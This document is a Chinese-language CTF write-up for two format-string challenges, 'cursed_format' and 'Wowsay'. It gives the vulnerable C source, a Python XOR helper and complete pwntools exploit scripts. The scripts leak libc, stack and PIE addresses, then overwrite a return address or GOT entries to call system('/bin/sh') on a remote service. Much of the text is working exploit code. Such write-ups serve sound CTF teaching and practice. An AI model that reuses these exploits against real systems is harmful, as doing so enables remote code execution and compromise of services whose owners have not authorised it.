cursed_format

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define fmtsize 0x20

__attribute__((constructor)) void ignore_me(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void banner(){
    puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+=");
    puts("For all my format string haters.");
    puts("(No one likes %n)");
    puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+=");
}

void printchoices(){
    puts("1. Keep formatting");
    puts("2. Just leave");
    printf(">> ");
}

void getStr(char * str){
    memset(str, 0, fmtsize);
    read(0, str, fmtsize);
}

void curse(char * str, char * key){
    for(int i=0; i<fmtsize; i++){
        char c = str[i];
        str[i] = c ^ key[i];
    }
    for(int i=0; i<fmtsize; i++){
        key[i] = str[i];
    }
}

int main(){
    char str[fmtsize];
    char key[fmtsize];
    int option;

    banner();
    memset(key, 0xff, fmtsize);
    while(1){
        printchoices();
        getStr(str);
        option = atoi(str);
        switch(option){
            case 1:
                getStr(str);
                curse(str,key);
                printf(str);
                break;
            case 2:
                puts("Hope you did something cool...");
                return 0;
            default:
                puts("Invalid option!");
                break;
        }
    }
}

显然漏洞点存在于case 1的printf(str),有格式化字符串漏洞

但是printf中的str并不是我们输入的str,它还会经过key的xor,不过这些都是可以预测的

exploit.py中会用以下curse_helper.py代码构造输入

from __future__ import annotations

"""
Helper to mirror the `curse` logic in cursed_format.c.

It keeps the evolving key state (initially 0xff * 0x20), accepts an input
byte string, pads/truncates it to 0x20 bytes like the C read, XORs with
the current key, updates the key to the cursed output, and returns that
output.
"""

FMT_SIZE = 0x20
INITIAL_KEY_BYTE = 0xFF


class Curser:
    """
    Tracks key state. Two main operations:

    - forge(desired): given the desired post-curse output, compute bytes to send;
      updates key to `desired`.
    - apply(sent): simulate what the binary will print when you actually send `sent`;
      updates key to the printed bytes.
    """

    def __init__(self, key: bytes | bytearray | None = None, size: int = FMT_SIZE):
        self.size = size
        self.key = bytearray(key if key is not None else [INITIAL_KEY_BYTE] * size)

    def _normalize(self, data: bytes) -> bytearray:
        chunk = bytearray(data[: self.size])
        if len(chunk) < self.size:
            chunk.extend(b"\x00" * (self.size - len(chunk)))
        return chunk

    def forge(self, desired: bytes) -> bytes:
        """
        Compute bytes to send so that after curse() runs in the binary the output
        becomes `desired`. Updates internal key to `desired` (matching the binary).
        """
        chunk = self._normalize(desired)
        send = bytes([d ^ k for d, k in zip(chunk, self.key)])
        self.key[:] = chunk  # binary sets key to the cursed output, i.e., desired
        return send

    def apply(self, sent: bytes) -> bytes:
        """
        Simulate sending raw bytes to the binary and return what it would print.
        Updates key to that printed value (mirrors binary behavior).
        """
        chunk = self._normalize(sent)
        out = bytes([c ^ k for c, k in zip(chunk, self.key)])
        self.key[:] = out
        return out


def curse_once(desired: bytes, key: bytes | bytearray | None = None) -> bytes:
    """
    Stateless forge helper: compute bytes to send so that output equals `desired`,
    starting from the provided key (default all-0xff).
    """
    return Curser(key=key).forge(desired)

利用格式化字符串漏洞写返回地址为ROP即可

#!/usr/bin/env python3
from pwn import *
from pwncli import *
from curse_helper import Curser, curse_once


context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "cursed_format"
libcname = "libc-2.31.so"
host = "18.212.136.134"
port = 8887
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
'''

def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

def format_trigger(s):
    sa(">> ", str(1))
    sleep(0.1)
    sh.send(s)



def format_write(target_addr, value):
    payload1 = fmtstr_payload(
        6,
        {target_addr: value & 0xffff},
        write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
    )
    payload2 = fmtstr_payload(
        6,
        {target_addr + 2: (value >> 16) & 0xffff},
        write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
    )
    payload3 = fmtstr_payload(
        6,
        {target_addr + 4: (value >> 32) & 0xffff},
        write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
    )
    format_trigger(curser.forge(payload1))
    format_trigger(curser.forge(payload2))
    format_trigger(curser.forge(payload3))

sh = start()
curser = Curser()
out1 = curser.forge(b"%17$p%18$p%16$p\n")
format_trigger(out1)
libc_base = int(sh.recv(14), base = 16) -0x23d7a
log.success("libc_base: " + hex(libc_base))
stack = int(sh.recv(14), base = 16)
log.success("stack: " + hex(stack))
pie = int(sh.recv(14), base = 16)  -0x13b0
log.success("pie: " + hex(pie))
input_stack = stack - 0x148
ret = stack - 0xf0
system = libc_base + libc.sym["system"]


rdi_ret = 0x00000000000237b6 + libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
format_write(ret, rdi_ret)
format_write(ret + 0x8, binsh_addr)
format_write(ret + 0x8 + 0x8, system)
sh.interactive()

Wowsay

这是一道很有意思的题目,题目没有给源码,有种blind hacking的意思。

写WP的时候没有环境,不过可以大概说一下思路

题目会接受一段输入,然后再打印出来,尝试%p看是否有格式化字符串漏洞,回显是一个地址(或者null)说明存在格式化字符串漏洞

之后再尽可能地多打印地址,发现0x4xxxxxx这种地址,可以判断无PIE

根据我的观察

image.png

__libc_start_main_ret的下一条语句都是mov edi, eax

而且栈中也肯定有main函数的地址(或许跟程序启动的逻辑有关?)

所以可以通过%s打印然后反汇编判断__libc_start_main_ret的偏移和main函数地址的偏移

比如偏移23处,这应该是main函数

"""
23
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55                       push rbp
0000000000400001: 48 89 e5                 mov rbp, rsp
0000000000400004: 48 83 ec 70              sub rsp, 0x70
"""

再比如偏移21处,这应该是__libc_start_main_ret

"""
21
b'\x89\xc7\xe8/t\x01'
0000000000400000: 89 c7                    mov edi, eax
""

通过__libc_start_main_ret的低3位nibble判断libc版本https://libc.rip/,进而也可以获得printf, puts, exit等函数的偏移,获得其低3位nibble

dump 0x4040000x405000的地址,进而可以判断printfputsexit等函数的GOT表的地址。

将exit的GOT表改为main函数地址,可以多次触发格式化字符串漏洞。

其中一次将printf的GOT表修改为system函数地址

在下一次输入时输入/bin/sh即可

exp如下

#!/usr/bin/env python3
from pwn import *
from pwncli import *
from elf_disasm import disassemble_elf_bytes, disassemble_bytes
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
host = "18.212.136.134"
port = 1337
def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

#57 b'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n--------'
#95 
"""
23
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55                       push rbp
0000000000400001: 48 89 e5                 mov rbp, rsp
0000000000400004: 48 83 ec 70              sub rsp, 0x70
"""

"""
21
b'\x89\xc7\xe8/t\x01'
0000000000400000: 89 c7                    mov edi, eax

"""
"""
42
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55                       push rbp
0000000000400001: 48 89 e5                 mov rbp, rsp
0000000000400004: 48 83 ec 70              sub rsp, 0x70

"""

"""
for i in range(0x10):
    sh = remote(host, port)
    payload = f'%{i}$s\n'
    sa("What would you like to say: ", payload)
    sh.recvuntil("Wow: ")
    print(i)
    get = sh.recvall()[:-1]
    print(get)
    for ins in disassemble_bytes(get, base_address=0x400000):
            print(ins)
    sh.close()
"""

main_addr = 0x401352

exit_got = 0x404048
puts_got = exit_got - 0x8 * 8#?
printf_got = exit_got - 0x8 * 6
sh = remote(host, port)
payload1 = fmtstr_payload(
            6,
            {exit_got: main_addr},
            write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
)
sa("What would you like to say: ", payload1 + b'\n')
payload2 = b'%37$p\n'
sa("What would you like to say: ", payload2 + b'\n')
sh.recvuntil("Wow: ")
libc_base = int(sh.recv(14), base = 16) - 0x2724a
system_addr = libc_base + 0x4c490
log.success("libc_base: " + hex(libc_base)) 
payload3 = fmtstr_payload(
            6,
            {printf_got: system_addr},
            write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
)
sa("What would you like to say: ", payload3 + b'\n')
sh.interactive()
"""
for i in range(0x4000, 0x4100, 0x8):
    sh = remote(host, port)
    maybe_got = 0x400000 + i
    payload1 = fmtstr_payload(
            6,
            {maybe_got: main_addr},
            write_size='short'  # 'byte' / 'short' / 'int',内部自动分片
        )
    sa("What would you like to say: ", payload1 + b'\n')
    print(hex(i))
    #sh.recvuntil("Wow: ")
    #print(sh.recvall()[:-1])
    sh.interactive()
"""
"""
sh = remote(host, port)
payload = b''
for i in range(0x10, 0x20):
    payload += bytes(f"%{i}$p", encoding="ASCII")
payload = payload + b'\n'
sa("What would you like to say: ", payload)
sh.recvuntil("Wow: ")
print(re.split(b'(?=0x)', sh.recvall()))
sh.interactive()
"""
"""
sh = remote(host, port)
payload = b'AAAAAA%6$p' + b'\n'
sa("What would you like to say: ", payload)
sh.interactive()
"""
#print(re.split(b'(?=0x)', sh.recvall()))
#sh.interactive()